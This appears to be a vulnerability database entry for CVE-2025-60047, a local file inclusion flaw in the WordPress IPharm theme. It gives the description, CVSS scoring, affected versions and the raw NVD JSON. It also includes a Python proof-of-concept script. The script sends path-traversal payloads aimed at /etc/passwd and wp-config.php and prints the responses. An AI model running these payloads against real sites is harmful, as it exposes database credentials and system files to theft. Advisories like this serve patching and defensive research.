Security Vulnerability Report
中文
CVE-2025-60047 CVSS 8.1 HIGH

CVE-2025-60047

Published: 2025-12-18 08:16:04
Last Modified: 2026-04-27 16:16:30

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes IPharm ipharm allows PHP Local File Inclusion.This issue affects IPharm: from n/a through <= 1.2.3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:ipharm:*:*:*:*:*:wordpress:*:* - VULNERABLE
IPharm <= 1.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60047 PoC - IPharm LFI Vulnerability # Target: WordPress IPharm Theme <= 1.2.3 # Note: Replace 'TARGET_URL' with actual vulnerable URL import requests import sys def exploit_lfi(target_url, param_name='file'): """ Exploit Local File Inclusion in IPharm theme """ # Common vulnerable parameters payloads = [ '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../etc/hosts', '/etc/passwd', '../wp-config.php' ] print(f"[*] Target: {target_url}") print(f"[*] Testing {len(payloads)} payloads...") for payload in payloads: try: params = {param_name: payload} response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Payload: {payload}") print(f"[+] Status: {response.status_code}") print("=" * 50) print(response.text[:500]) print("=" * 50) except requests.exceptions.RequestException as e: print(f"[-] Error with payload {payload}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-60047.py <target_url>") print("Example: python cve-2025-60047.py http://victim.com/wp-content/themes/ipharm/some-file.php") sys.exit(1) target = sys.argv[1] exploit_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60047", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:04.227", "lastModified": "2026-04-27T16:16:29.883", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes IPharm ipharm allows PHP Local File Inclusion.This issue affects IPharm: from n/a through <= 1.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:ipharm:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.2.3", "matchCriteriaId": "9206A746-99A1-4DD2-9658-BF0C592E11FF"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/ipharm/vulnerability/wordpress-ipharm-theme-1-2-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}